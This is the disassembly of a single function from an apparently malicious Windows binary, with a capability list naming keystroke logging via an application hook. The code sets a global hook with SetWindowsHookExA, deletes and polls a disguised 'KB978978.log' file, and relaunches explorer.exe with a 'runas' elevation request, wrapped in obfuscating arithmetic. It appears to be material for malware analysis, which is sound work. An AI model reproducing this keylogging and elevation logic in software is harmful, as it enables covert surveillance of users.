Function at 0x4061c0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.00427d50
mov eax, dword [0x455e64]
mov dword [esp + 0x1068], eax
mov eax, dword [0x454e14]
imul eax, eax, 0xfb02
mov dword [esp + 4], eax
push ebx
mov ebx, dword [0x454e08]
mov eax, 0x9c9a6c87
imul ebx
add edx, ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 8]
push esi
mov esi, dword [0x454dfc]
push edi
mov edi, dword [0x454df8]
sub edx, eax
mov ecx, edi
imul ecx, ecx, 0xcd41
mov eax, esi
imul eax, eax, 0x10088
add edx, ecx
mov dword [esp + 0xc], ecx
lea ecx, [eax + edx + 0x139e4]
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r_____n], ecx
je 0x4062e1
mov eax, 0xa2ad5745
imul esi
add edx, esi
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x454e0c]
mov eax, 0xc2bd9c5d
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x7fbc240d
imul dword [0x454e14]
sub ecx, esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
sar edx, 0xf
add ecx, edx
mov esi, edx
mov eax, 0x7fbc240d
imul ebx
sar edx, 0xf
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ecx
add eax, edx
sub esi, eax
sub esi, 0xdecb
mov dword [0x454dfc], esi
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x4062c2
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00427501
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x454e00]
imul edx, edx, 0xdecc
mov ebx, esi
imul ebx, ebx, 0x689f
mov eax, edi
imul eax, eax, 0x15208
add ebx, edx
sub ebx, eax
mov eax, 0x3d4263a3
imul edi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [section.HookData]
test eax, eax
mov dword [0x454e08], ebx
je 0x406398
mov esi, dword [0x454df4]
mov edi, dword [0x454e0c]
mov eax, 0x93140835
imul edi, edi, 0x689f
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x30780947
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e10]
sub esi, edi
sub esi, eax
mov eax, 0x3d4263a3
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov dword [0x454df4], esi
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.00427501
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x454e10]
mov eax, 0x7514b1e9
imul ecx, ecx, 0xdecb
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e04]
imul edx, edx, 0x85ba
sub ecx, eax
add ecx, dword [esp + 0xc]
lea eax, [edx + ecx + 0x139e4]
mov dword [0x454e00], eax
mov eax, 0xa2ad5745
imul edi
mov eax, dword [0x454e04]
add edx, edi
imul eax, eax, 0x5706
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x64b7
sub edx, ecx
lea ecx, [edx + eax - 0xdecb]
mov eax, dword [ebp + 0x10]
test eax, eax
mov dword [0x454e0c], ecx
jg 0x4064f5
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4064f5
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x406430
sub eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
je 0x4064f5
mov eax, dword [0x454e14]
imul ecx, ecx, 0xcd41
imul eax, eax, 0xfb02
sub ecx, eax
mov eax, 0x68649efd
imul esi
mov eax, dword [0x454e00]
imul eax, eax, 0x8bf0
sar edx, 0xf
mov esi, edx
shr esi, 0x1f
add ecx, edx
add esi, ecx
sub esi, eax
mov eax, dword [ebp + 0x14]
push eax
add esi, 0x64b7
push 0
mov dword [0x454df8], esi
call fcn.00404420
add esp, 8
test eax, eax
mov dword [esp + 0x10], eax
jle 0x406d00
mov ebx, dword [0x454e08]
mov ecx, dword [0x454df4]
imul ecx, ecx, 0x8bf0
mov esi, ebx
imul esi, esi, 0x139e4
mov edi, dword [0x454df8]
add esi, ecx
mov ecx, dword [0x454e10]
mov eax, 0x7fbc240d
imul ecx
mov ecx, dword [0x454e14]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, edi
add esi, 0xd145
mov dword [0x454e10], esi
mov esi, dword [0x454dfc]
jmp 0x40654d
mov eax, 0x30780947
imul ecx, ecx, 0x139e4
imul dword [str._r_____r_____n]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0xcd41
sub edx, eax
sub edx, ecx
mov dword [esp + 0xc], edx
mov eax, 0x7514b1e9
imul dword [0x454e04]
mov eax, dword [esp + 0xc]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add eax, edx
mov edx, dword [ebp + 0x10]
lea ecx, [ecx + eax - 0xdecb]
mov dword [0x454e14], ecx
mov dword [esp + 0x10], edx
mov eax, 0x9c9a6c87
imul ecx, ecx, 0xfb02
imul edi, edi, 0xcd41
imul ebx
imul esi, esi, 0x10088
add edx, ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
lea ecx, [ecx + esi + 0x139e4]
push str.c:windowsKB978978.log
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x454df4]
mov esi, dword [0x454e0c]
mov eax, 0x93140835
imul esi, esi, 0x689f
imul ecx
add edx, ecx
mov ecx, dword [0x454e08]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x30780947
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, esi
sub edi, ecx
mov ecx, dword [0x454e10]
mov eax, 0x3d4263a3
imul ecx
mov ecx, dword [esp + 0x10]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x56716c]
sub edi, eax
mov eax, dword [str._r_____r_____n]
push ecx
push edx
add edi, eax
mov eax, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push eax
mov dword [0x454df4], edi
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov ecx, dword [0x454dfc]
mov dword [section.HookData], eax
je 0x406d75
mov eax, 0xa2ad5745
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xc2bd9c5d
imul dword [0x454e0c]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x7fbc240d
imul dword [0x454e14]
sub esi, ecx
sar edx, 0xf
add esi, edx
mov ecx, edx
mov eax, 0x7fbc240d
imul dword [0x454e08]
sar edx, 0xf
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
sub ecx, eax
sub ecx, 0xdecb
mov dword [0x567170], 1
xor edi, edi
jmp 0x4066a0
mov ecx, dword [0x454dfc]
jmp 0x4066a0
mov eax, 0xa2ad5745
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xc2bd9c5d
imul dword [0x454e0c]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x7fbc240d
imul dword [0x454e14]
sub esi, ecx
sar edx, 0xf
mov ecx, edx
add esi, edx
mov eax, 0x7fbc240d
imul dword [0x454e08]
sar edx, 0xf
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
sub ecx, eax
sub ecx, 0xdecb
push str.c:windowsKB978978.log
mov dword [0x454dfc], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x40672b
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x12c
jl 0x406692
mov ecx, dword [0x454e04]
mov esi, dword [0x454e14]
mov eax, 0x20a2ed5d
imul ecx
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0xdecb
mov ebx, ecx
mov ecx, dword [0x454e00]
sub ebx, edx
mov eax, 0x68649efd
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x68649efd
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add ebx, edx
cmp edi, 0x12c
lea edx, [eax + ebx + 0x8bf0]
mov dword [0x454e04], edx
jl 0x406dd0
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x406dd0
mov esi, dword [0x454dfc]
imul ecx, ecx, 0xdecc
imul esi, esi, 0x689f
add esi, ecx
mov ecx, dword [0x454df8]
mov eax, ecx
imul eax, eax, 0x15208
sub esi, eax
mov eax, 0x3d4263a3
imul ecx
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0x800
lea edx, [esp + 0x74]
sub esi, ecx
push edx
mov dword [0x454e08], esi
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x454df8]
mov eax, 0xa2ad5745
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 0xe
imul ecx, ecx, 0x64b7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e04]
imul edx, edx, 0x5706
sub ecx, eax
lea eax, [ecx + edx - 0xdecb]
lea ecx, [esp + 0x70]
push ecx
lea edx, [esp + 0x874]
push str._sexplorer.exe
push edx
mov dword [0x454e0c], eax
call fcn.00427c2a
lea eax, [esp + 0x87c]
push 0
push eax
call fcn.00427a1d
add esp, 0x14
cmp eax, 0xffffffff
je 0x406c9a
mov esi, dword [0x454e08]
mov ecx, dword [0x454df4]
imul esi, esi, 0x139e4
imul ecx, ecx, 0x8bf0
mov edi, dword [0x454df8]
add esi, ecx
mov ecx, dword [0x454e10]
mov eax, 0x7fbc240d
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, edi
add esi, 0xd145
push str.explorer.exe
mov dword [0x454e10], esi
call fcn.004187a0
mov ecx, dword [str._r_____r_____n]
mov esi, dword [0x454dfc]
mov eax, 0x30780947
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x454e0c]
mov edi, esi
imul edx, edx, 0x139e4
imul edi, edi, 0xcd41
sub edi, ecx
mov ecx, dword [0x454e04]
sub edi, edx
mov eax, 0x7514b1e9
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esp, 4
add edi, edx
lea ecx, [eax + edi - 0xdecb]
mov dword [0x454e14], ecx
mov dword [esp + 0x10], 5
jmp 0x406930
mov esi, dword [0x454dfc]
mov ecx, dword [0x454e14]
lea esp, [esp]
mov edi, dword [0x454e08]
imul ecx, ecx, 0xfb02
imul esi, esi, 0x10088
mov eax, 0x9c9a6c87
imul edi
add edx, edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454df8]
imul edx, edx, 0xcd41
sub ecx, eax
add ecx, edx
lea eax, [ecx + esi + 0x139e4]
push str.explorer.exe
mov dword [str._r_____r_____n], eax
call fcn.00418310
add esp, 4
test eax, eax
jg 0x406c40
mov ecx, dword [0x454df4]
mov esi, dword [0x454e0c]
mov ebx, dword [0x454e08]
mov eax, 0x93140835
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, esi
imul edi, edi, 0x689f
mov eax, ecx
sub eax, edi
mov edi, eax
mov ecx, dword [0x454e10]
mov eax, 0x30780947
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3d4263a3
imul ecx
sar edx, 0xd
mov ecx, edx
xor eax, eax
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
sub edi, ecx
add edi, edx
mov edx, dword [0x454e14]
imul edx, edx, 0xfb02
mov dword [0x454df4], edi
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x454dfc]
mov edi, esi
imul edi, edi, 0xcd41
sub edi, edx
mov eax, 0x68649efd
imul ecx
sar edx, 0xf
add edi, edx
mov eax, edx
mov edx, dword [0x454e00]
shr eax, 0x1f
imul edx, edx, 0x8bf0
add eax, edi
sub eax, edx
add eax, 0x64b7
mov dword [0x454df8], eax
mov eax, 0xa2ad5745
imul ecx
add edx, ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xc2bd9c5d
imul esi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x7fbc240d
imul dword [0x454e14]
sub esi, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
add esi, edx
mov eax, 0x7fbc240d
imul ebx
sar edx, 0xf
mov eax, edx
add ecx, esi
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, 0xdecb
mov dword [0x454dfc], ecx
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x78]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x890]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x406b3d
mov esi, dword [0x454df8]
mov edi, dword [0x454e10]
mov ecx, dword [0x454e08]
imul edi, edi, 0xdecb
mov edx, esi
imul edx, edx, 0xcd41
add edi, edx
mov eax, 0x7514b1e9
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e04]
sub edi, eax
imul edx, edx, 0x85ba
lea eax, [edi + edx + 0x139e4]
mov dword [0x454e00], eax
jmp 0x406c4c
mov ecx, dword [0x454e04]
mov eax, 0x20a2ed5d
imul ecx
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x454e14]
mov edx, ecx
imul edx, edx, 0xdecb
sub esi, edx
mov edx, dword [0x454e00]
mov eax, 0x68649efd
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x68649efd
imul ecx
sar edx, 0xf
push 1
mov ecx, edx
shr ecx, 0x1f
lea eax, [esp + 0x74]
push eax
add esi, edx
lea edx, [ecx + esi + 0x8bf0]
push 0
lea ecx, [esp + 0x87c]
push ecx
push str.runas
push 0
mov dword [0x454e04], edx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x454df8]
jg 0x406c05
mov ecx, dword [0x454dfc]
mov edx, dword [0x454e00]
imul ecx, ecx, 0x689f
imul edx, edx, 0xdecc
mov eax, esi
imul eax, eax, 0x15208
add ecx, edx
sub ecx, eax
mov eax, 0x3d4263a3
imul esi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x454e08], ecx
jmp 0x406c4c
mov eax, 0xa2ad5745
imul esi
mov eax, dword [0x454e04]
add edx, esi
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x64b7
sub edx, ecx
imul eax, eax, 0x5706
lea ecx, [edx + eax - 0xdecb]
mov dword [0x454e0c], ecx
jmp 0x406c46
mov esi, dword [0x454df8]
mov ecx, dword [0x454e08]
mov edx, dword [0x454df4]
imul ecx, ecx, 0x139e4
imul edx, edx, 0x8bf0
add ecx, edx
mov eax, 0x7fbc240d
imul dword [0x454e10]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
add ecx, 0xd145
push 0x3e8
mov dword [0x454e10], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x406920
mov esi, dword [0x454dfc]
mov eax, 0x30780947
imul dword [str._r_____r_____n]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x454e0c]
mov edi, esi
imul edx, edx, 0x139e4
imul edi, edi, 0xcd41
mov ebx, dword [0x454e08]
sub edi, ecx
sub edi, edx
mov eax, 0x7514b1e9
imul dword [0x454e04]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, edx
lea ecx, [eax + edi - 0xdecb]
mov edi, dword [0x454df8]
mov dword [0x454e14], ecx
jmp 0x4063d3
mov ecx, dword [0x454e04]
mov eax, 0x20a2ed5d
imul ecx
mov ecx, dword [0x454e14]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0xdecb
mov esi, eax
sub esi, edx
mov edx, dword [0x454e00]
mov eax, 0x68649efd
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x68649efd
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add esi, edx
lea edx, [ecx + esi + 0x8bf0]
mov dword [0x454e04], edx
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00427501
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x454e14]
mov esi, dword [0x454e0c]
imul eax, eax, 0xfb02
imul esi, esi, 0xcd41
sub esi, eax
mov eax, 0x68649efd
imul ecx
sar edx, 0xf
add esi, edx
mov ecx, edx
mov edx, dword [0x454e00]
imul edx, edx, 0x8bf0
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
add ecx, 0x64b7
mov dword [0x454df8], ecx
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00427501
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x454e08]
imul esi, esi, 0xfb02
mov eax, 0x9c9a6c87
imul ecx
add edx, ecx
mov ecx, dword [0x454df8]
sar edx, 0xe
imul ecx, ecx, 0xcd41
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454dfc]
imul edx, edx, 0x10088
sub esi, eax
add esi, ecx
mov ecx, dword [esp + 0x1074]
lea eax, [esi + edx + 0x139e4]
mov dword [str._r_____r_____n], eax
mov eax, 1
call fcn.00427501
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret